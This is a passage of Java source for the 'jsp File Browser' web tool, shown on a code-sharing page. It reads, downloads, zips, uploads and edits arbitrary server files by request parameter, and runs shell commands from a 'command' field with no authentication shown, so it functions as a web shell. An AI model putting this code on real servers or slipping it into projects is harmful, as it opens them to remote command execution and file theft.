📄 browser_jsp.java
字号:
final String FOL_IMG = "";
boolean nohtml = false;
boolean dir_view = true;
// View file
if (request.getParameter("file")!=null){
File f = new File (request.getParameter("file"));
if (f.exists() && f.canRead()) {
if (isPacked(f.getName(), false)){
//If zipFile, do nothing here
}
else{
String mimeType = getMimeType(f.getName());
response.setContentType(mimeType);
if (mimeType.equals("text/plain"))
response.setHeader("Content-Disposition", "inline;filename=\"temp.txt\"");
else
response.setHeader ("Content-Disposition", "inline;filename=\""+f.getName()+"\"");
BufferedInputStream fileInput = new BufferedInputStream(new FileInputStream(f));
byte buffer[] = new byte[8 * 1024];
out.clearBuffer();
OutputStream out_s = new Writer2Stream(out);
copyStreamsWithoutClose(fileInput, out_s, buffer);
fileInput.close();
out_s.flush();
nohtml = true;
dir_view = false;
}
}
else {
request.setAttribute("dir", f.getParent());
request.setAttribute("error", "File "+f.getAbsolutePath()+
" does not exist or is not readable on the server");
}
}
// Download selected files as zip file
else if ((request.getParameter("Submit")!=null)&&(request.getParameter("Submit").equals(SAVE_AS_ZIP))){
Vector v = expandFileList(request.getParameterValues("selfile"), false);
if (v.size() == 0){
request.setAttribute("error", "No files selected");
}
else{
File dir_file = new File(""+request.getAttribute("dir"));
int dir_l = dir_file.getAbsolutePath().length();
response.setContentType ("application/zip");
response.setHeader ("Content-Disposition", "attachment;filename=\"rename_me.zip\"");
out.clearBuffer();
ZipOutputStream zipout = new ZipOutputStream(new Writer2Stream(out));
zipout.setComment("Created by jsp File Browser v. " + VERSION_NR);
zipout.setLevel(COMPRESSION_LEVEL);
for (int i=0;i<v.size();i++){
File f = (File)v.get(i);
if (f.canRead()){
zipout.putNextEntry(new ZipEntry(f.getAbsolutePath().substring(dir_l+1)));
BufferedInputStream fr = new BufferedInputStream(new FileInputStream(f));
byte buffer[] = new byte[0xffff];
copyStreamsWithoutClose(fr, zipout, buffer);
/* int b;
while ((b=fr.read())!=-1) zipout.write(b);*/
fr.close();
zipout.closeEntry();
}
}
zipout.finish();
out.flush();
nohtml = true;
dir_view = false;
}
}
// Download file
else if (request.getParameter("downfile") != null){
String filePath = request.getParameter("downfile");
File f = new File(filePath);
if (f.exists() && f.canRead()) {
response.setContentType ("application/octet-stream");
response.setHeader ("Content-Disposition", "attachment;filename=\""+f.getName()+"\"");
response.setContentLength((int) f.length());
BufferedInputStream fileInput = new BufferedInputStream(new FileInputStream(f));
byte buffer[] = new byte[8 * 1024];
out.clearBuffer();
OutputStream out_s = new Writer2Stream(out);
copyStreamsWithoutClose(fileInput, out_s, buffer);
fileInput.close();
out_s.flush();
nohtml = true;
dir_view = false;
}
else {
request.setAttribute("dir", f.getParent());
request.setAttribute("error", "File "+f.getAbsolutePath()+
" does not exist or is not readable on the server");
}
}
if (!nohtml) {
// If no parameter is submitted, it will take the path from jsp file browser
if (request.getAttribute("dir") == null){
String path = null;
if (application.getRealPath(request.getRequestURI()) != null)
path = new File(application.getRealPath(request.getRequestURI())).getParent();
if (path == null){ // handle the case were we are not in a directory (ex: war file)
path = new File(".").getAbsolutePath();
}
request.setAttribute("dir", path);
}
out.write("\r\n");
out.write("<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.01 Transitional//EN\"\r\n");
out.write("\"http://www.w3.org/TR/html4/loose.dtd\">\r\n");
out.write("<html>\r\n");
out.write("<head>\r\n");
out.write("<meta http-equiv=\"content-type\" content=\"text/html; charset=ISO-8859-1\">\r\n");
out.write("<meta name=\"robots\" content=\"noindex\">\r\n");
out.write("<meta http-equiv=\"expires\" content=\"0\">\r\n");
out.write("<meta http-equiv=\"pragma\" content=\"no-cache\">\r\n");
//If a cssfile exists, it will take it
String cssPath = null;
if (application.getRealPath(request.getRequestURI()) != null)
cssPath = new File(application.getRealPath(request.getRequestURI())).getParent()
+File.separator+CSS_NAME;
if (cssPath == null)
cssPath = application.getResource(CSS_NAME).toString();
if (new File (cssPath).exists()){
out.write("\r\n");
out.write("<link rel=\"stylesheet\" type=\"text/css\" href=\"");
out.print(CSS_NAME);
out.write("\">\r\n");
out.write(" ");
}
else{
out.write("\r\n");
out.write("\t<style type=\"text/css\">\r\n");
out.write("\t\t.button {background-color: #c0c0c0; color: #666666;\r\n");
out.write("\t\tborder: 1px solid #999999; }\r\n");
out.write("\t\t.button:Hover { color: #444444 }\r\n");
out.write("\t\ttable.filelist {background-color:#666666; width:100%; border:0px none #ffffff}\r\n");
out.write("\t\tth { background-color:#c0c0c0 }\r\n");
out.write("\t\ttr.mouseout { background-color:#ffffff; }\r\n");
out.write("\t\ttr.mousein { background-color:#eeeeee; }\r\n");
out.write("\t\ttr.checked { background-color:#cccccc }\r\n");
out.write("\t\ttr.mousechecked { background-color:#c0c0c0 }\r\n");
out.write("\t\ttd { font-family:Verdana, Arial, Helvetica, sans-serif; font-size: 8pt; color: #666666;}\r\n");
out.write("\t\ttd.message { background-color: #FFFF00; color: #000000; text-align:center; font-weight:bold}\r\n");
out.write("\t\ttd.error { background-color: #FF0000; color: #000000; text-align:center; font-weight:bold}\r\n");
out.write("\t\tA { text-decoration: none; }\r\n");
out.write("\t\tA:Hover { color : Red; text-decoration : underline; }\r\n");
out.write("\t\tBODY { font-family:Verdana, Arial, Helvetica, sans-serif; font-size: 8pt; color: #666666;}\r\n");
out.write("\t</style>\r\n");
out.write("\t");
}
}
//Comandwindow
if (request.getParameter("command")!=null){
if (!"Cancel".equalsIgnoreCase(request.getParameter("Submit"))){
out.write("\r\n");
out.write("<title>Launch commands in ");
out.print(request.getAttribute("dir") );
out.write("</title>\r\n");
out.write("</head>\r\n");
out.write("<body>\r\n");
out.println("<form action=\"" + browser_name + "\" method=\"Post\">\n" +
"<textarea name=\"text\" wrap=\"off\" cols=\"" +
EDITFIELD_COLS+"\" rows=\"" + EDITFIELD_ROWS + "\" readonly>");
String ret = "";
if (!request.getParameter("command").equalsIgnoreCase(""))
ret = startProcess(request.getParameter("command"), (String)request.getAttribute("dir"));
out.println(ret);
out.write("</textarea>\r\n");
out.write("\t<input type=\"hidden\" name=\"dir\" value=\"");
out.print( request.getAttribute("dir"));
out.write("\">\r\n");
out.write("\t<br>\r\n");
out.write("\t<table>\r\n");
out.write("\t<tr><td title=\"Enter your command\">\r\n");
out.write("\t<input size=\"");
out.print(EDITFIELD_COLS);
out.write("\" type=\"text\" name=\"command\" value=\"\">\r\n");
out.write("\t</td></tr>\r\n");
out.write("\t<tr><td><input type=\"Submit\" name=\"Submit\" value=\"Launch\">\r\n");
out.write("\t<input type=\"hidden\" name=\"sort\" value=\"");
out.print(request.getParameter("sort"));
out.write("\">\r\n");
out.write("\t<input type=\"Submit\" name=\"Submit\" value=\"Cancel\"></td></tr>\r\n");
out.write("\t</table>\r\n");
out.write("\t</form>\r\n");
out.write("</body>\r\n");
out.write("</html>\r\n");
dir_view = false;
request.setAttribute("dir", null);
}
}
//Click on a filename, special viewer (zip+jar file)
else if (request.getParameter("file")!=null){
File f = new File(request.getParameter("file"));
if (isPacked(f.getName(), false)){
//ZipFile
try{
ZipFile zf = new ZipFile(f);
Enumeration entries = zf.entries();
out.write("\r\n");
out.write("<title>");
out.print( f.getAbsolutePath() );
out.write("</title>\r\n");
out.write("</head>\r\n");
out.write("<body>\r\n");
out.write("\t<h2>Content of ");
out.print(conv2Html(f.getName()));
out.write("</h2><br>\r\n");
out.write("\t<table class=\"filelist\" cellspacing=\"1px\" cellpadding=\"0px\">\r\n");
out.write("\t<th>Name</th><th>Uncompressed size</th><th>Compressed size</th><th>Compr. ratio</th><th>Date</th>\r\n");
long size=0;
int fileCount=0;
while (entries.hasMoreElements()){
ZipEntry entry = (ZipEntry) entries.nextElement();
if (!entry.isDirectory()){
fileCount++;
size+=entry.getSize();
long ratio = 0;
if (entry.getSize() != 0) ratio = (entry.getCompressedSize()*100)/entry.getSize();
out.println("<tr class=\"mouseout\"><td>"+conv2Html(entry.getName())+"</td><td>"+
convertFileSize(entry.getSize())+
"</td><td>"+convertFileSize(entry.getCompressedSize())+
"</td><td>"+ratio+"%"+
"</td><td>"+dateFormat.format(new Date(entry.getTime()))
+"</td></tr>");
}
}
zf.close();
//No directory view
dir_view = false;
request.setAttribute("dir", null);
out.write("\r\n");
out.write("\t</table>\r\n");
out.write("\t<p align=center>\r\n");
out.write("\t<b>");
out.print(convertFileSize(size));
out.write(" in ");
out.print(fileCount);
out.write(" files in ");
out.print(f.getName());
out.write(". Compression ratio: ");
out.print((f.length()*100)/size);
out.write("%\r\n");
out.write("\t</b></p>\r\n");
out.write("</body></html>\r\n");
}
catch (ZipException ex){
request.setAttribute("error", "Cannot read "+f.getName()+", no valid zip file");
}
catch (IOException ex){
request.setAttribute("error", "Reading of "+f.getName()+" aborted. Error: "+ex);
}
}
}
// Upload
else if ((request.getContentType()!=null)&&(request.getContentType().toLowerCase().startsWith("multipart"))){
response.setContentType("text/html");
HttpMultiPartParser parser = new HttpMultiPartParser();
boolean error = false;
try{
int bstart = request.getContentType().lastIndexOf("oundary=");
String bound = request.getContentType().substring(bstart+8);
Hashtable ht = parser.processData(request.getInputStream(), bound, tempdir);
if (ht.get("myFile")!=null){
FileInfo fi = (FileInfo)ht.get("myFile");
File f = fi.file;
// Move file from temp to the right dir
String path = (String)ht.get("dir");
if (!path.endsWith(File.separator)) path = path+File.separator;
if (!f.renameTo(new File(path+f.getName()))){
request.setAttribute("error", "Cannot upload file.");
error = true;
f.delete();
}
}
else{
request.setAttribute("error", "No file selected for upload");
error = true;
}
request.setAttribute("dir", (String)ht.get("dir"));
}
catch (Exception e){
request.setAttribute("error", "Error "+e+". Upload aborted");
error = true;
}
if (!error) request.setAttribute("message", "File upload correctly finished.");
}
// The form to edit a text file
else if (request.getParameter("editfile") != null){
out.write("\r\n");
out.write("<title>Edit ");
out.print(conv2Html(request.getParameter("editfile")));
out.write("</title>\r\n");
out.write("</head>\r\n");
out.write("<body>\r\n");
//No File directory is shown
request.setAttribute("dir", null);
dir_view = false;
File ef = new File(request.getParameter("editfile"));
BufferedReader reader = new BufferedReader(new FileReader(ef));
String disable = "";
if (!ef.canWrite()) disable = " readonly";
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -